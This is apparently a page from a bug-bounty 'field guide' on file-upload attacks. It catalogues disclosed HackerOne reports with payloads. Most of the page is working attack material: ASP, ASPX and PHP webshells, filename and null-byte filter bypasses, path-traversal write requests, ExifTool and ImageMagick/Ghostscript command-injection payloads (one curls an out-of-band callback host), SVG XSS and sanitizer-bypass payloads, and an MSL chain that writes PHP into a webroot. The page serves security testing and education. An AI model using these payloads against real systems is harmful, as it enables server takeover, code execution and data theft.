⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Attack surface/File Upload
Attack surface

File Upload

§Basic information

A file-upload vulnerability is any point where attacker-controlled bytes land on disk and then get interpreted — executed as a server-side script, rendered as active content, parsed by a media library, unpacked from an archive, or served inline to another user. The bug is almost never "the upload" itself; it is the disagreement between three layers — what the validator checks, what name/bytes the storage layer actually writes, and how the file is later served or processed. Any gap between those layers is your primitive.

It matters because it is the shortest path from "authenticated user" to RCE: drop a .php/.aspx/.jsp shell into a web-served, script-executing directory and you own the box. When code execution isn't reachable, the same upload is still an XSS sink (inline SVG/HTML), a file-read/SSRF sink (ImageMagick), or a CSP-bypass primitive (same-origin JS). Treat "upload" broadly: a report-export filename, a JDBC connection string, an archive member, and an HTTP PUT are all upload sinks with no <input type=file> in sight.

§Methodology

  1. Baseline a legit upload. Note the returned storage URL/path pattern and — critically — the response headers when you fetch the file back: Content-Type, Content-Disposition, X-Content-Type-Options.
  2. Locate the three layers. Determine what the validator checks (extension? MIME? magic bytes? client-side only?), what actually hits disk (name normalization, null-byte truncation, directory field), and whether the stored file is served and how.
  3. Probe the validator by swapping exactly one variable at a time — extension, trailing char, MIME, magic bytes — never several at once, so you know which control you defeated.
  4. Probe the storage/serve layer by requesting the file back and diffing: does .php execute? does the SVG render? is it inline or attachment? is it served from an executing origin?
  5. Pick the primitive the gaps hand you — executable-extension bypass, arbitrary path write, archive extraction, media-library coercion, or active-content-served-inline.
  6. Escalate to impact. Confirmation (phpinfo(), alert(document.domain), an OOB hit) is not the finding; chain to command execution, ATO, or file read.
# Fetch the stored file back and read the tells: Content-Type: image/svg+xml # served as active content? -> XSS Content-Disposition: inline # inline, not attachment? -> XSS/HTML # (missing) X-Content-Type-Options # no nosniff? -> browser may MIME-sniff to HTML
▸ TIP
The validator and the filesystem rarely see the same string. Windows/IIS trims trailing space and dot on write; many stacks truncate at a null byte; media libraries decide format by magic bytes, not extension. Every one of those is a validator-vs-reality gap you can wedge open.

§Technique variants

Find which gap the target hands you, then use the matching primitive.

Executable-extension bypass → webshell

The validator blacklists (or weakly whitelists) dynamic extensions but compares a string that differs from what lands on disk. Match the OS: on IIS/Windows a trailing space or dot is trimmed on write, and a null byte truncates the name; alt/case extensions dodge naive lists.

# multipart filename tricks — one per attempt, then GET the path back: Content-Disposition: form-data; name="file"; filename="shell.asp " # IIS trims -> shell.asp (#506646) Content-Disposition: form-data; name="file"; filename="poc.asp\x00.png" # \x00 = raw 0x00 byte (Burp hex editor, NOT the text "%00") -> poc.asp (#2054184) Content-Disposition: form-data; name="file"; filename="shell.pHp5" # case/alt: .phtml .phar .cer .asa Content-Disposition: form-data; name="file"; filename="shell.php.jpg" # double extension

Classic-ASP webshell body (IIS) and the invocation:

# body of the uploaded file: <% Set s=Server.CreateObject("WScript.Shell"): Set e=s.exec("cmd /c "&request("cmd")): Response.Write(e.StdOut.ReadAll) %> # then run commands: GET /uploads/shell.asp?cmd=whoami HTTP/1.1 Host: TARGET

Path/name-field arbitrary write (no upload form)

Whenever an endpoint takes a name/path field and a content field separately, you have arbitrary file write with no multipart parsing at all. Traverse to the web root and choose an executable extension, or point a client-controlled directory/path/overrideLocalStorageUrl field out of the upload dir.

# separate name + content params, traversal chooses webroot + extension (#1356845, #1360593) POST /v1/backend1 HTTP/1.1 Host: TARGET Content-Type: application/x-www-form-urlencoded CID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/shell.php&data=<?php system($_GET['c']);?> # then: GET /shell.php?c=id
# client-controlled directory field -> overwrite the app entrypoint (#343726) Content-Disposition: form-data; name="upload_file"; filename="app.js" ...MALICIOUS_JS... Content-Disposition: form-data; name="directory" ../../ # overwrite app.js -> RCE on the next restart

Archive / content-package extraction

SCORM/IMS course uploads, theme/plugin installers, and ZIP/site imports extract archive members onto disk. If the extracted tree is web-served and executable types aren't filtered, smuggle a shell inside and reference it. Two extra tells: the unpredictable output path is usually leaked in a follow-up response, and a failed import often leaves the uploaded file on disk as residue. ZIP-slip (.. in a member path) lives here too.

# SCORM zip: valid manifest that references your shell as a resource (#1122791) imsmanifest.xml # references shared/shell.aspx shared/shell.aspx # <%= command-exec webshell %> # recover strCourseId from the edit-metadata response, then: GET /CServer/Courseware/<COURSE_ID>/shared/shell.aspx?cmd=whoami

Media-library sinks (ImageMagick / ExifTool)

Preview/thumbnail generators hand bytes to ImageMagick/Imagick or ExifTool, which detect format by magic bytes, not extension. Rename an SVG (or an MVG/MSL/PS/DjVu payload) to any accepted image extension: a "HEIC-only" code path still processes your SVG. xlink:href is a local-file-read/SSRF primitive; MVG/MSL delegates and ExifTool eval are RCE (ImageTragick family).

# SVG renamed to .heic -> preview embeds the referenced file (CVE-2021-32802) (#1261413) <?xml version="1.0" encoding="UTF-8" standalone="no"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="500" height="500"> <image x="0" y="0" width="500" height="500" xlink:href="/etc/passwd" /> </svg> # swap the href to http://COLLAB/ for SSRF, or http://169.254.169.254/... for cloud metadata

An image polyglot that survives the resize/recompression pipeline beats "we process every image" defenses — match the server's exact output dimensions and JPEG quality (read them from the returned image metadata):

# .php-extension'd JPEG carrying a shell that survives 50x50 / 75% recompression (#158148) <crafted 50x50 75%-quality JPEG carrying <?php system($_GET['c']); ?>> # then: GET /view/data/logos/shell_<id>.php?c=id

SVG / HTML active content → stored XSS

Any upload served inline with attacker-controlled bytes is an XSS sink; SVG is the prime vector because it is XML+script. Defeat a format allow-list by keeping SVG bytes under an image extension or MIME, or by a double extension the server content-sniffs (x.svg.png). Fires in whatever origin renders it — often an admin/partner panel, i.e. blind/stored, and cross-tenant when an app icon renders in every install.

# SVG with an event handler; upload as .png / image MIME to pass the format check (#765679, #880099, #148853) <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

If the SVG passes through a sanitizer with an element/attribute whitelist, an XML entity/DOCTYPE/comment can flip the parser out of whitelist mode so onload/<script> survives:

# entity/DOCTYPE presence disables the attribute whitelist (#232174, #299424) <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE svg [ <!ENTITY elem ""> ]> <svg onload="alert(document.domain);" height="16" width="16">&elem;</svg>

Same-origin JS upload → CSP bypass

When CSP is script-src 'self' but the upload endpoint serves files from the app origin with a script content-type, uploaded JS satisfies the policy. Load it with <script src> from any HTML-injection sink; if literal <script> is stripped, smuggle it inside an iframe srcdoc (HTML-entity-encoded).

# uploaded payload.js is same-origin -> beats script-src 'self' (#1380157) <iframe srcdoc="&#x3c;script src='/file-upload/<UPLOAD_ID>/payload.js?download'></script>">

Upload-by-verb and desktop-client sinks

No form needed: a writable HTTP PUT/WebDAV to the web root is file upload. Desktop clients that save user-supplied downloads are a parallel surface — a macOS client that omits the com.apple.quarantine xattr lets an auto-executing format (.terminal, .command, .webloc) run on open with no Gatekeeper prompt; a game engine that unpacks a save file into its library-load path loads an attacker DLL.

# fingerprint methods first (OPTIONS / Allow), then write to the web root (#369581) PUT /shell.txt HTTP/1.1 Host: TARGET Content-Length: 12 Connection: close emitrani POC

§Bypasses

Filter / controlBypassSeen in
Extension blacklist, raw-name comparetrailing space/dot — shell.asp — Windows/IIS trims on write#506646
Extension check before storagenull-byte truncation — poc.asp + raw 0x00 + .png saved as poc.asp (send a literal null, not the text %00)#2054184
Substring (strstr/contains) extension checkanchor-confusion — test.HL1.dll satisfies an *.HL? filter mid-path#458842
Deny-list of extensionsUnicode-whitespace smuggling in the extension (CVE-2021-32708)#1720822
Declared-type / MIME allow-listimage Content-Type or magic bytes on script/SVG payload; malformed multi-value header#765679, #1019425
Extension whitelist + content sniffdouble extension — x.svg.png sniffed and rendered as SVG#998422
Media library "sanitizes" imagesmagic-byte sniff over extension — Imagick/ExifTool process real content#1261413, #1154542
SVG element/attribute whitelistXML entity/DOCTYPE/comment flips the sanitizer out of whitelist mode#232174, #299424
Image resize/recompression as a "filter"polyglot JPEG engineered to survive the exact 50x50/75% pipeline#158148
.htaccess upload deny-listwrite .htaccess via internal copy from a federated share#228825
Client-side-only extension/size checkintercept and change bytes/extension after JS validation#1606957, #1850065
Archive import validationextraction-failure residue leaves the uploaded PHP on disk#236607, #1350444
▲ WARNING
A phpinfo() or a rendered alert() proves the primitive, not the impact. Take an executable-extension bypass all the way to a command in a query param, and take an inline-SVG XSS to cookie/CSRF theft, before you call it done — triage pays for demonstrated impact, not for "the file was accepted".

§Escalation & impact

File upload is both a chain terminus (write → RCE) and a pivot:

§Prevention

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 66 in this class.

Real-world example

ExifTool DjVu annotation eval RCE via content-type sniffing

◆ Critical
Specimen #1154542 · gitlab · 20000 · 505 votes · resolved
Program gitlabSurface webTag file-upload

Root cause

GitLab Workhorse passed uploaded jpg/jpeg/tiff to ExifTool to strip metadata, but ExifTool identifies format by content not extension; a DjVu file whose annotation contains a backslash-newline escapes the quoted string and injects Perl that ExifTool eval()s.

Method

  1. Craft a DjVu file whose (metadata (Copyright ...)) annotation breaks out with backslash+newline
  2. Insert Perl qx{} to run a command / reverse shell
  3. Rename it to .jpg so Workhorse forwards it to ExifTool
  4. Upload as a snippet/description attachment; ExifTool sniffs DjVu and evals the injected Perl
(metadata (Copyright "\ " . qx{echo vakzz >/tmp/vakzz} . \ " b ") )

Insight — File-parsing tools that detect type by magic bytes (ExifTool, ImageMagick, ffmpeg) massively expand attack surface: an image whitelist by extension is meaningless. Rename payloads to an allowed extension and target a dangerous parser (DjVu, PostScript) inside the tool.

Real-world example

Extension-blacklist bypass with trailing space -> ASP webshell on IIS

◆ Critical
Specimen #506646 · starbucks · awarded · 687 votes · resolved
Program starbucksSurface webChain upload filter bypass -> webshell -> arbitrary OS commaTag file-upload

Root cause

Upload filter blacklists dynamic extensions but compares the raw filename; appending a trailing space ("asp ") passes the check, while Windows/IIS strips the trailing space when saving, leaving an executable .asp file.

Method

  1. Intercept the avatar/resume upload request in Burp.
  2. Change filename from x.jpg to x.asp<space> (trailing space after the extension) and set webshell content.
  3. Server saves it as x.asp (space trimmed); browse to the uploaded path with a command in a query param.
# multipart filename with trailing space defeats the blacklist: Content-Disposition: form-data; name="file"; filename="shell.asp " # then invoke the dropped webshell: GET /recruitjob/tempfiles/temp_uploaded_<uuid>.asp?getsc=dir%20d:\path%20%2fs HTTP/1.1

Insight — On Windows/IIS targets, trailing space or dot in the upload filename ("asp ", "asp.") bypasses naive extension blacklists because the OS normalizes the name on write. Always fuzz upload filters with trailing whitespace/dots, case, and double extensions.

Real-world example

Report engine arbitrary file write (rdExportFilename) -> aspx webshell

◆ Critical
Specimen #1072832 · deptofdefense · awarded · 104 votes · resolved
Program deptofdefenseSurface webChain Report export -> controlled filename+content -> aspx wTag file-upload

Root cause

A Logi Analytics reporting endpoint (rdPage.aspx) let the export request control both the output filename/path (rdExportFilename) and the file contents (rdReportName), allowing an authenticated user to write a .aspx webshell into a web-served directory.

Method

  1. Run any report and intercept the Export-to-Excel POST to /RServer/rdPage.aspx
  2. Set rdReportFormat/rdExcelOutputFormat=NativeExcel
  3. Set rdExportFilename to shell.aspx
  4. Set rdReportName (POST body) to a URL-encoded C# aspx webshell that runs cmd.exe from a query param
  5. Forward; browse the written .aspx path and pass ?param=whoami
rdExportFilename=shell.aspx &rdReportName=<%@ Page Language="C#"%><%@ Import Namespace="System" %><% var p=new System.Diagnostics.Process(); p.StartInfo.UseShellExecute=false; p.StartInfo.RedirectStandardOutput=true; p.StartInfo.FileName="CMD.exe"; p.StartInfo.Arguments="/c "+Request.QueryString["KEY"]; p.Start(); Response.Write(p.StandardOutput.ReadToEnd()); %>

Insight — When an export/report feature exposes both a filename and a content parameter, test writing an executable extension (.aspx/.jsp/.php) into a web-served path - it's file-write-to-RCE without any 'upload' form. Logi Analytics rdExportFilename/rdReportName is a known instance.

Real-world example

Unauth file write via directory traversal (CVE-2021-40870) -> PHP webshell

◆ Critical
Specimen #1356845 · elastic · awarded · 75 votes · resolved
Program elasticSurface webChain Cert recon -> CVE-2021-40870 unauth traversal write ->Tag file-upload

Root cause

Aviatrix Controller 6.x set_metric_gw_selections used account_name unsafely, letting an unauthenticated attacker traverse (../) and write a PHP file (data param) into the web root for RCE.

Method

  1. Send an unauthenticated POST to /v1/backend1 with action=set_metric_gw_selections
  2. Set account_name to a traversal path ending in a .php filename under the web root
  3. Put the PHP payload in the data param
  4. GET the written .php to execute it (phpinfo/webshell)
POST /v1/backend1 CID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/shell.php&data=RCE<?php phpinfo()?>

Insight — Recon by TLS cert (CN) to identify the appliance, then map the IP to a known CVE - Aviatrix CVE-2021-40870 is unauth-write-to-webroot. Directory traversal in a 'name'/'account' field plus a content field is a classic file-write-to-RCE.

Real-world example

File-write via SQLite JDBC driver + SSRF to Jolokia jvmtiAgentLoad = RCE

◆ Critical
Specimen #1547877 · aiven_ltd · 5000 · 56 votes · resolved
Program aiven_ltdSurface apiChain Controlled JDBC URL (SQLite driver) -> arbitrary local fiTag file-uploadTag cloud

Root cause

A managed connector framework (Kafka Connect) bundles the SQLite JDBC driver and lets user config choose the JDBC URL, so an attacker can write an arbitrary SQLite DB file to local disk; a co-located unauthenticated Jolokia (JMX-over-HTTP) endpoint then exposes com.sun.management:type=DiagnosticCommand's jvmtiAgentLoad, which loads that on-disk file as a JVM agent JAR = code execution.

Method

  1. Find a service that lets you control a JDBC/connection URL and bundles the SQLite JDBC driver (jdbc:sqlite:/path/to/file.db) so you can force it to create a file at an attacker-chosen local path.
  2. Craft a SQLite database whose BLOB column contains a valid JVM agent JAR (Premain-Class manifest + agent code that spawns a reverse shell); the .db file on disk is simultaneously a loadable agent JAR.
  3. Use the connector's HTTP sink (or any localhost-reaching SSRF primitive) to reach the internal Jolokia listener (here localhost:6725).
  4. POST a Jolokia exec to com.sun.management:type=DiagnosticCommand invoking jvmtiAgentLoad with the path of the SQLite file you just wrote.
  5. The JVM loads the file as an agent; Premain runs -> reverse shell to attacker VPS (nc -nlvp 4446).
jdbc:sqlite:/tmp/agent.db # JDBC URL forces creation of attacker-controlled file on server disk # Jolokia agent-load call (via localhost HTTP sink / SSRF): POST http://localhost:6725/jolokia/ {"type":"exec","mbean":"com.sun.management:type=DiagnosticCommand","operation":"jvmtiAgentLoad","arguments":["/tmp/agent.db"]}

Insight — When a target lets you influence a JDBC/connection string, the driver itself is a file-write primitive (SQLite writes a real file at the URL path). Combine any 'write a file to local disk' bug with a co-located management interface that can load code from disk (Jolokia/JMX DiagnosticCommand jvmtiAgentLoad, or JMXMP, or -javaagent) to turn file-write into RCE. Always port-scan localhost from an SSRF and probe for /jolokia/ with DiagnosticCommand exposed.

Real-world example

ImageMagick/Ghostscript RCE via crafted image (ImageTragick v2, %pipe% PostScript)

◆ Critical
Specimen #402362 · pixiv · USD 2000 · 44 votes · resolved
Program pixivSurface webTag file-upload

Root cause

An image-upload endpoint passes files to ImageMagick, which delegates PostScript/PDF to Ghostscript. A crafted .jpeg that is actually PostScript uses the %pipe% device (OutputFile) to execute a shell command during rendering.

Method

  1. Find an image-processing/upload feature (avatar, design header, thumbnail)
  2. Upload a file with an image extension/content-type but PostScript body invoking %pipe%
  3. Confirm via out-of-band callback
%!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%curl https://COLLAB/qwetest) currentdevice putdeviceprops

Insight — Whenever a target processes uploaded images, test ImageMagick/Ghostscript RCE: send a PostScript/MVG body under an image extension and content-type image/jpeg. The %pipe% Ghostscript trick and MVG delegates both reach OS commands; use a collaborator URL for blind confirmation.

Real-world example

HTTP PUT method enabled -> arbitrary file upload to web root

◆ Critical
Specimen #369581 · ratelimited · none · 43 votes · resolved
Program ratelimitedSurface webChain arbitrary PUT upload -> (if script execution) webshell/RCTag file-upload

Root cause

The web server accepted the HTTP PUT method, allowing any unauthenticated client to write files directly into the web root.

Method

  1. Send an OPTIONS request or just try PUT to enumerate allowed methods
  2. PUT a file with a body to a path under the web root
  3. Fetch the URL to confirm the file was written (escalate with a server-side script if executable)
PUT /shell.txt HTTP/1.1 Host: target Content-Length: 12 Connection: close emitrani POC

Insight — Always fingerprint allowed methods (OPTIONS / Allow header) and test PUT/DELETE/WebDAV. A writable PUT to the web root is arbitrary file upload; if the server executes uploaded scripts it is RCE.

Real-world example

Null-byte truncated double extension upload -> ASP webshell RCE

◆ Critical
Specimen #2054184 · deptofdefense · none · 33 votes · resolved
Program deptofdefenseSurface webChain upload filter bypass -> ASP webshell -> OS command exeTag file-upload

Root cause

Upload validation checks the trailing extension (.png) but the storage layer truncates at the null byte, saving poc.asp; the classic-ASP webshell then executes OS commands via WScript.Shell on IIS.

Method

  1. Upload a file named poc.asp%00.png (null byte between extensions) containing an ASP webshell
  2. Filter sees .png, file is written as poc.asp
  3. Browse to /savefiles/poc.asp?cmd=... to run commands
filename="poc.asp\x00.png" <% Set s=Server.CreateObject("WScript.Shell"): Set e=s.exec("cmd /c "&request("cmd")): Response.Write(e.StdOut.ReadAll) %>

Insight — Against extension filters, test null-byte truncation (asp%00.png), double extensions, and case/alt extensions (asp;.png, .aspx, .cer, .asa); confirm by requesting the executable path and running a command.

Real-world example

RCE via SCORM zip import dropping an ASPX webshell

◆ Critical
Specimen #1122791 · deptofdefense · awarded · 28 votes · resolved
Program deptofdefenseSurface webChain weak access control -> SCORM import -> webshell in webTag file-upload

Root cause

An LMS SCORM course upload extracts arbitrary archive contents (referenced in imsmanifest.xml) into a web-served directory without filtering executable file types, so a package containing an .aspx shell yields command execution.

Method

  1. Access the (weakly access-controlled) SCORM upload endpoint
  2. Build a valid SCORM zip but add an .aspx webshell under shared/ and reference it in imsmanifest.xml
  3. Upload/import, recover the generated course ID (strCourseId from the edit-metadata response), then request /CServer/Courseware/<COURSE_ID>/shared/shell.aspx
# scorm.zip contents imsmanifest.xml (references shared/shell.aspx as a resource) shared/shell.aspx (<%= command exec webshell %>) # reach it at: /CServer/Courseware/<strCourseId>/shared/shell.aspx

Insight — 'Content package' importers (SCORM, IMS, themes, plugins) are archive-extraction file-upload sinks: if the extracted tree is web-served and executable extensions aren't blocked, drop a shell and reference it in the manifest. The unpredictable output path is usually leaked in a follow-up response (here strCourseId).

Real-world example

Arbitrary local file read via image-preview routed into ImageMagick (SVG xlink:href)

◆ Critical
Specimen #1261413 · nextcloud · none · 16 votes · resolved
Program nextcloudSurface webChain upload polyglot -> preview generation -> arbitrary filTag file-upload

Root cause

A preview/thumbnail provider for one format (HEIC) hands the file to Imagick, which auto-detects and processes ALL formats including SVG; a crafted SVG referencing a local path via xlink:href is rendered, embedding file contents into the returned image (file read, plus SSRF/XXE surface).

Method

  1. Upload a file with an allowed extension (e.g. .heic) whose real content is SVG.
  2. Point an <image xlink:href> at a local absolute path (or http:// for SSRF).
  3. Request the preview/thumbnail; the rendered PNG contains the referenced file's contents.
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="500" height="500"> <image x="0" y="0" width="500" height="500" xlink:href="/etc/passwd" /> </svg>

Insight — Whenever an app generates previews/thumbnails, the content-type is decided by ImageMagick's magic-byte sniffing, not by the extension you uploaded. Rename an SVG to any accepted image extension and use xlink:href (file read) or a remote URL (SSRF) - classic ImageTragick-style delivery. CVE-2021-32802.

Real-world example

Arbitrary file write via user-controlled upload directory field (RCE)

◆ Critical
Specimen #343726 · nodejs-ecosystem · none · 13 votes · resolved
Program nodejs-ecosystemSurface webChain Directory-field traversal + no filetype check -> overwritTag file-upload

Root cause

express-cart's admin image upload uses an unvalidated client-supplied `directory` form field to build the destination path and performs no file-type/size check, allowing writes to any path including overwriting the app entry point.

Method

  1. Authenticate as admin
  2. POST to /admin/file/upload with a malicious .js file
  3. Set the directory field to ../../ (or deeper) to escape the upload dir
  4. Overwrite app.js with a webshell/backdoor -> RCE on restart
POST /admin/file/upload Content-Disposition: form-data; name="upload_file"; filename="app.js" ...MALICIOUS_JS... Content-Disposition: form-data; name="directory" ../../

Insight — Upload endpoints exposing a client-controlled destination field (directory/path/folder) are arbitrary-file-write primitives; combine with missing filetype checks to overwrite an executable file (app.js, cron, startup script) for RCE.

Real-world example

Arbitrary file write via storage-path override -> RCE via Startup folder

◆ Critical
Specimen #683965 · central-security-project · none · 12 votes · resolved
Program central-security-projectSurface webChain arbitrary file write -> Startup folder autorun -> codeTag file-upload

Root cause

An admin-configurable repository storage path (overrideLocalStorageUrl) is used unvalidated as the on-disk write root; combined with an artifact-upload endpoint whose g/a/v params become directory/file names, an attacker writes arbitrary files anywhere the service (SYSTEM) can.

Method

  1. Create a hosted repo whose overrideLocalStorageUrl points two levels above the target dir (e.g. Windows Startup Menu)
  2. Upload an artifact, using the g/a/v/e params to steer the final path and extension (e.g. calc.exe)
  3. File lands in the user's Startup folder; executes on next logon as SYSTEM
POST /nexus/service/local/repositories {"data":{...,"overrideLocalStorageUrl":"file:/c:/Users/myuser/Appdata/Roaming/Microsoft/Windows/Start Menu",...}} POST /nexus/service/local/artifact/maven/content (multipart) r=<repoId> g=Programs a=Startup v=. p=jar e=exe file=@calc.exe

Insight — Any feature that lets a user set a base storage/output path plus a filename is an arbitrary-write primitive. Escalate arbitrary write to RCE via autorun locations (Windows Startup folder, cron, web root, .bashrc) rather than hunting a script-exec sink.

Real-world example

Unauth unrestricted file upload + path traversal -> PHP webshell (Aviatrix CVE-2021-40870)

◆ Critical
Specimen #1360593 · informatica · none · 12 votes · resolved
Program informaticaSurface webChain unauth file write + traversal -> PHP webshell -> RCETag file-upload

Root cause

An unauthenticated Aviatrix Controller endpoint writes a file whose path/name comes from a request parameter with no type restriction; ../ traversal in that param plus PHP content in another param drops a webshell into the webroot for direct execution.

Method

  1. Send the unauth POST that sets a filename parameter to a traversal path ending in .php with PHP content in the data param
  2. Request the written .php to execute code
POST /v1/backend1 HTTP/1.1 Content-Type: application/x-www-form-urlencoded CID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/shell.php&data=RCE<?php phpinfo()?> # then GET /v1/shell.php

Insight — Look for endpoints that take a name/path param and a content/data param separately; if the path is traversable and the extension unfiltered, you place arbitrary files in the webroot. Fingerprint the vendor behind an IP via the TLS certificate (curl -kvI) to attribute in-scope assets.

Real-world example

Unrestricted profile-picture upload of .php yields RCE

◆ Critical
Specimen #1164452 · mtn_group · none · 12 votes · resolved
Program mtn_groupSurface webChain upload -> stored path disclosure via page source -> diTag file-upload

Root cause

Profile-photo upload performed no extension/content-type validation and stored files under a web-served, directly reachable path, so an uploaded .php executes when its URL is requested.

Method

  1. Register and log in, go to profile update
  2. Upload a .php file as the profile photo (no filter blocks it)
  3. View page source to recover the stored file's full path
  4. Request the path in a browser to execute the PHP
<?php echo "proof of concept (PoC) by aliyugombe"; ?> # stored at and executed via: https://TARGET/en/user/images/users/-DD-MM-YYYY-payload.php

Insight — Any upload sink that (1) skips extension/MIME allowlisting and (2) writes into a script-executable web directory is an RCE. Always confirm the stored URL is web-served and try single/double extensions and .php/.phtml/.php5/.phar.

Real-world example

DNN default CKEditor provider allows unauthenticated file upload (CVE-2025-64095)

◆ Critical
Specimen #3414079 · deptofdefense · none · 10 votes · resolved
Program deptofdefenseSurface webTag file-upload

Root cause

DNN (<10.1.1) ships the DNNConnect.CKE HTML editor provider whose FileUploader.ashx handler accepts file uploads and overwrites of existing files without authentication, enabling defacement and stored XSS.

Method

  1. Fingerprint a DNN site (<10.1.1)
  2. Send a POST to the provider's FileUploader.ashx handler with a file
  3. File is written/overwritten with no auth -> defacement / XSS payload delivery
POST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx HTTP/1.1 Host: TARGET # multipart file upload body (unauthenticated)

Insight — Bundled rich-text/editor providers often expose their own unauthenticated file handlers separate from the app's auth; enumerate /Providers/ and editor plugin paths (CKEditor, TinyMCE) for standalone upload endpoints even when the main app requires login.

Real-world example

.htaccess upload blacklist bypass via internal copy from federated share

◆ Critical
Specimen #228825 · nextcloud · none · 7 votes · resolved
Program nextcloudSurface webChain federated share -> internal copy (no blacklist) -> .htTag file-upload

Root cause

Storage::copyFromStorage does not re-check the file blacklist when copying a folder, so files that can't be uploaded directly (.htaccess, .php) can be smuggled into the local data dir (inside webroot) by moving them out of a federated/external share.

Method

  1. Host an evil Nextcloud with the file blacklist disabled
  2. Create sharefolder/attack containing .htaccess (allow from all) and attack.php
  3. Federated-share it to the victim instance
  4. Move attack out of the share into local storage, then browse to /data/userid/files/attack/attack.php
# .htaccess <Files *.php> Require all granted </Files> # attack.php <?php system($_GET['c']); ?>

Insight — Upload blacklists often protect the upload path but not internal move/copy/import routines; find a secondary ingress (federated share, import, sync, unzip) that lands files without re-validation, especially where the data dir sits inside the webroot.

Real-world example

Atlassian Crowd pdkinstall plugin upload -> root RCE (CVE-2019-11580)

◆ Critical
Specimen #632721 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface webChain unauth plugin upload -> servlet exec as root -> SSO ta

Root cause

Vulnerable Atlassian Crowd builds ship with the pdkinstall development plugin enabled, so an unauthenticated attacker can upload an arbitrary plugin (JAR) that executes code, here as root.

Method

  1. Confirm Crowd version in the vulnerable range
  2. POST a malicious plugin JAR to /crowd/admin/uploadplugin.action
  3. Invoke the plugin's servlet to run commands
curl -k -H "Content-Type: multipart/content" \ --form "file_cdl=@rce.jar;type=application/octet-stream" \ https://TARGET/crowd/admin/uploadplugin.action # then GET /crowd/plugins/servlet/<your-servlet>

Insight — Identity/SSO middleware (Crowd, OpenAM, Keycloak) are high-value: check pdkinstall/uploadplugin.action and other dev endpoints left enabled in release builds. A plugin-install feature = code execution.

Real-world example

ownCloud ImageMagick MSL coercion -> PHP webshell write (RCE)

◆ Critical
Specimen #1838674 · owncloud · awarded · 7 votes · resolved
Program owncloudSurface webChain file upload -> ImageMagick MSL write -> PHP webshell iTag file-upload

Root cause

ownCloud generates previews with ImageMagick; uploading an SVG that references an attacker MSL file makes ImageMagick's Magick Scripting Language read a known-path image and write attacker-controlled PHP into the webroot (e.g. index.php), yielding code execution.

Method

  1. Upload exploit.msl (reads a known uploaded file, embeds PHP in a comment, writes to /var/www/owncloud/index.php)
  2. Upload an SVG whose <image xlink:href> is msl:/path/to/exploit.msl
  3. Trigger preview generation; reload the rewritten index.php to run the PHP
<!-- exploit.msl --> <image> <read filename="/mnt/data/files/admin/files/Photos/Portugal.jpg" /> <resize geometry="400x400" /> <comment>&lt;?php echo php_uname(); ?&gt;</comment> <write filename="/var/www/owncloud/index.php" /> </image> <!-- trigger.svg --> <svg xmlns:xlink="http://www.w3.org/1999/xlink"> <image xlink:href="msl:/mnt/data/files/admin/files/exploit.msl" height="500" width="500"/> </svg>

Insight — Wherever user images hit ImageMagick (preview/thumbnail generation), test the MSL/SVG coder chain: an SVG referencing msl: lets you read arbitrary files and WRITE a PHP webshell. Requires knowing an uploaded file path; distinct from ImageTragick.

Real-world example

Extension/path whitelist bypass via substring-match-anywhere (GoldSrc .sav -> DLL write & load)

◆ High
Specimen #458842 · valve · USD 1500 · 99 votes · resolved
Program valveSurface desktopChain Malicious server -> forced .sav download -> console-coTag file-upload

Root cause

The save-file loader validates the allowed extension (*.HL?) and blocks '..' by checking for those substrings anywhere in the path instead of anchoring the extension check to the end. Embedding the allowed token mid-path lets an attacker write files with an arbitrary real extension (e.g. .dll) into attacker-chosen subdirectories.

Method

  1. Craft a malformed .sav whose internal member unpacks to a path like SAVE/test.HL1.dll -- the '.HL1' substring satisfies the extension check but the real trailing extension is .dll.
  2. Trigger unpack: place fakeresource.sav in %gamedir%/SAVE/ and run `load fakeresource` in console.
  3. Remotely: a malicious server downloads the .sav to a connected client, then via SVC_StuffText/SVC_Director drives client console commands to create target dirs, set gamedir, and load the file so the unpacked DLL lands where the engine loads client libraries.
  4. On engine restart the client loads the attacker DLL from cl_dlls/client.dll -> code execution on the client.
# Console commands the malicious server injects via SVC_StuffText / SVC_Director: _setgamedir %gamedir%_downloads;_restart # then on reconnect: logsdir SAVE/test.HL1/cl_dlls;log on;_setgamedir %gamedir%_downloads/SAVE/test.HL1;load fakeresource;_restart # fakeresource.sav unpacks -> SAVE/test.HL1/cl_dlls/client.dll (arbitrary DLL loaded into engine)

Insight — When a filename/extension filter uses strstr/contains instead of an endswith/anchored check, place the allowed token in the middle of the path and append the real dangerous extension. Also: any 'allowed temp extension' during archive/save extraction is a file-write primitive if the path isn't sandboxed.

Real-world example

SVG element-whitelist bypass via XML entity/DOCTYPE

◆ High
Specimen #232174 · shopify · USD 5000 · 86 votes · resolved
Program shopifySurface webChain Malicious SVG icon -> whitelist bypass -> stored XSS oTag file-uploadTag oauth

Root cause

An SVG upload is normally restricted to a whitelist of allowed elements/attributes, but adding an XML entity declaration (DOCTYPE/<!ENTITY>) causes the whitelist enforcement to be skipped, letting the SVG keep an onload handler that fires in the admin/partner origin.

Method

  1. Create a Sales Channel app that accepts an SVG navigation icon (whitelist-validated)
  2. Include a DOCTYPE with an <!ENTITY> declaration plus <svg onload=...>
  3. Upload; the entity disables whitelist enforcement so onload survives
  4. Fires on partners.shopify.com and on any shop admin that OAuth-authorizes the app
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE svg [ <!ENTITY elem ""> ]> <svg onload="alert(document.domain);" height="16" width="16"> &elem; </svg>

